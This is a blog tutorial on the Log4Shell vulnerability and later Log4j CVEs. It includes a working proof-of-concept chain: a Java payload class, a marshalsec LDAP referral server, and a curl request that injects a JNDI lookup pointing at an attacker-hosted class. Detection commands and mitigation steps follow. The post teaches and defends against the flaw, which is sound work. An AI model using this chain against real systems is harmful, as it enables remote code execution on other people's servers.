The world seems to go weird since the CVE-2021-44228 — a.k.a. Log4Shell or LogJamRCE Vulnerability popped up in the news. It's surely nice to hear something not C19-related, but what are we actually dealing with? Well, this vulnerability might fall in the same severity as Shellshock does.

Warning (not again?!): CVE-2021-44832: Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later)

Indeed, again, third iteration, the severity score keeps decreasing, so that's nice… This CVE-2021-44832 exploits the JBDC appender to call a malicious JNDI URL.
Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).

Warning (again): CVE-2021-45105: Upgrade to Log4j 2.17.0, do not use 2.16.0 or 2.15.0!

A new attack vector has been found in Log4j: CVE-2021-45105. Just two days have past since the 2nd leak found: CVE-2021-45046.
Upgrade to the latest 2.17.0 release, instead of 2.16.0 or 2.15.0.

Warning: CVE-2021-45046: Update log4j to version 2.16.0, do not use 2.15.0!

It took four days: CVE-2021-45046, the second Log4j2 vulnerability. This vulnerability allows for DOS attacks (certain configurations only).
Upgrade to the latest 2.16.0 release, instead of 2.15.0.

The vulnerability can be seen a bit as a log-poisoning attack (technically speaking not really, but yeah): Requesting a URL / Endpoint with a properly formatted payload, will add an entry into the logs for given application. The special payload needs to be "resolved" and this results in Remote Code Execution. It allows an attacker to execute any code on your system just by visiting a single page or posting a single comment. If you want to see this in action, I highly recommend having a look at John Hammond's video on Youtube. Also, watch LiveOverflow's video on YT to learn why Log4j is defective by design.

So, you've watched the videos? If not, do your homework!

The versions Log4j >=2.0-beta9 and <= 2.14.1 are affected. if you're using Log4j1, well, you're very out of date and affected by a different RCE bug. The Log4j2 package is used by many Java applications and is responsible for logging application events. When you call an endpoint running Java, it'll create a log entry of your request. A special feature called JNDI-lookup was added in 2013 — I'll light a candle for the developer that added this feature — and resolves parts of an entry into data that's retrieved from a remote system (LDAP, databases, and more). Since the remote system isn't validated, it'll happily call to your malicious server running a Java class that runs a remote shell for example.

The Vulnerability in Action

In our example, we'll be using some software chained together in the following format:

Log4shell vulnerable app port 8080     =>     Python http server port 8000     =>     Marshal LDAP server port 1389
Log4j target we can exploit Serving Exploit.class Forwarding requests to 8000

Let's set up our local exploit environment!

First, we need a Java payload that can be called when we connect to the LDAP server. Save the snippet below, for example as /tmp/poc/Exploit.java.
In this snippet we'll execute touch /tmp/pwned, but this command can be changed off course.

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("touch /tmp/pwned").waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}

This needs to be compiled with the same version as the application you're exploiting. I'm using JDK 1.8.0_181. Use Google to search for a working download URL.
The Exploit we've just created needs to be hosted on a simple HTTP server, we chose port 8000.

# 1. Download and extract java version
cd /tmp
wget https://mirrors.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
tar -xvzf jdk-8u181-linux-x64.tar.gz

# 2. Compile java to class file using proper java version
./jdk1.8.0_181/bin/javac /tmp/poc/Exploit.java

# 3. Start http server on port 8000
python3 -m http.server 8000 -d /tmp/poc

Next, using Marshalsec, we run our bad LDAP Server that in turn returns the Exploit.class from our HTTP server.
This special LDAP server is the result of huge amounts of research and will form the link between our Exploit and the LDAP server that Log4j wil call.

cd /tmp
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.17.0.1:8000/#Exploit"

Now we need a vulnerable target, for testing purposes only off course! If you have one in your network to test against, you can that.
In our case, we'll run a prepared docker container that exposes a sample vulnerable application on port 8080:

sudo docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Finally, we run our actual exploit against our target 127.0.0.1:8080:

curl -H "X-API-Version: \${jndi:ldap://172.17.0.1:1389/Exploit}" 127.0.0.1:8080

As you can see, this exploit uses the X-API-Version header, for other systems you're probably better off using the User-Agent header, since chances are that header is probably logged.

In our case, we're attacking a docker container, so let's see if /tmp/pwned has been created:

sudo docker exec vulnerable-app ls /tmp

If all went well, the file has been created and you've got a proof of concept for code execution.

Detection: Am I vulnerable?

Finding vulnerable packages

Both YfryTchsGD and NCSC-NL have very complete lists of software that's currently vulnerable, so that's a good place to start. And no, if you run Apache HTTP Server (httpd) you're NOT vulnerable, it's not Java, it's simply one of the many project's provided by The Apache Software Foundation.

You can simply list any remotely matching packages using your package manager, like dpkg -l apache* log* and see if there's a match with these lists.

Finding vulnerable code

You can either search for log4j*jar files in your code repository, or look in jar-archives META-INF/MANIFEST.MF for Log4jReleaseVersion:

# Look for log4j file in your software repository:
find /path/to/your/software -type f -name 'log4j\*jar'

# Loop trough all jar files, extract MANIFEST.MF and display match:
# Run `sudo updatedb` first
for jar in $(locate .jar); do
match=$(unzip -p $jar META-INF/MANIFEST.MF 2>&1 | grep Log4jReleaseVersion);
if [ ! -z "$match" ]; then
echo "- $jar: $match";
fi;
done;

Keep in mind this method probably returns false-positives.

Mitigation: Make me invulnerable!

Low hanging fruit

If possible, Update, Update, Update! Switch over to Log4j 2.17.0 (Java 8) or 2.12.3 (Java 7). Check with your software vendor in case software packages might use Log4j and see if they have updates. Anything Java-related is suspicious!

For Windows machines, ensure Windows Defender and Real-Time protection are enabled. You might add extra rules to your WAF to block certain requests, but keep in mind there's a lot of obfuscation going on that might be bypassed. You might also want to block malicious IP's on your Firewall, though this list is — obviously — always incomplete.

Check your log entries

You can simply check your logs for malicious entries, though this method probably will return some false-positives:

find /var/log -type f | xargs grep -P --color '\$\{(?:\$\{|jndi|lower|upper|env|\:\:)'
find /var/log -type f -name '*.gz' | xargs zcat | grep -P --color '\$\{(?:\$\{|jndi|lower|upper|env|\:\:)'

Above method should search for most WAF obfuscations as well, but might not include all latest variations. Alternatively you can use the log4shell-detector to a more thorough search, though it might be a bit slower.

Disable log4j2 or JndiLookup

You can disable the JNDI processing trough one the following methods:

  1. Disable lookups in the log4j2.xml configuration (Log4j >= 2.10.0), for example:
    <PatternLayout pattern="[%t] %m{nolookups} %n">

  2. Setting an argument when launching a program (Log4j >= 2.7 <= 2.14.1):
    java -Dlog4j2.formatMsgNoLookups=true -jar archive.jar or
    export LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar archive.jar

  3. Remove the JndiLookup.class from jar files (Log4j >= 2.0-beta9 <= 2.10.0):
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    On Windows, you'll manually need to open all log4j-core*.jar files in a ZIP-program (e.g. 7zip), remove the org/apache/logging/log4j/core/lookup/JndiLookup.class file and save as jar file again.

  4. Changing / setting Java system properties (I'm no Java developer, so please contact me if this is wrong):
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase");
    System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", false);

Extra Sources

  1. Inside the Log4j2 vulnerability
  2. Log4Shell: JNDI Injection via Attackable Log4J
  3. Nortwave Log4j checker
  4. Leon Jacobs log4jpwn
  5. Find vulnerable log4j hosts: log4j-scan
  6. Pentesterland: Log4shell resources & technical details

Changes

2021-12-14
First publication, initial research.
2021-12-15
Added instructions to remove JndiLookup.class from jar-files on Windows systems.
Added alert for CVE-2021-45046 to upgrade to 2.16.0.
2021-12-20
Added alert for CVE-2021-45105 to upgrade to 2.17.0, this hopefully is the last time now.
2021-12-30
The sequel continues, added alert for CVE-2021-44832 to upgrade to 2.3.2 (Java 6) / 2.12.4 (Java 7) / 2.17.1 (Java 8+).
Slightly changed explanation for disabling JNDI lookup techniques, to (hopefully) make them easier to understand.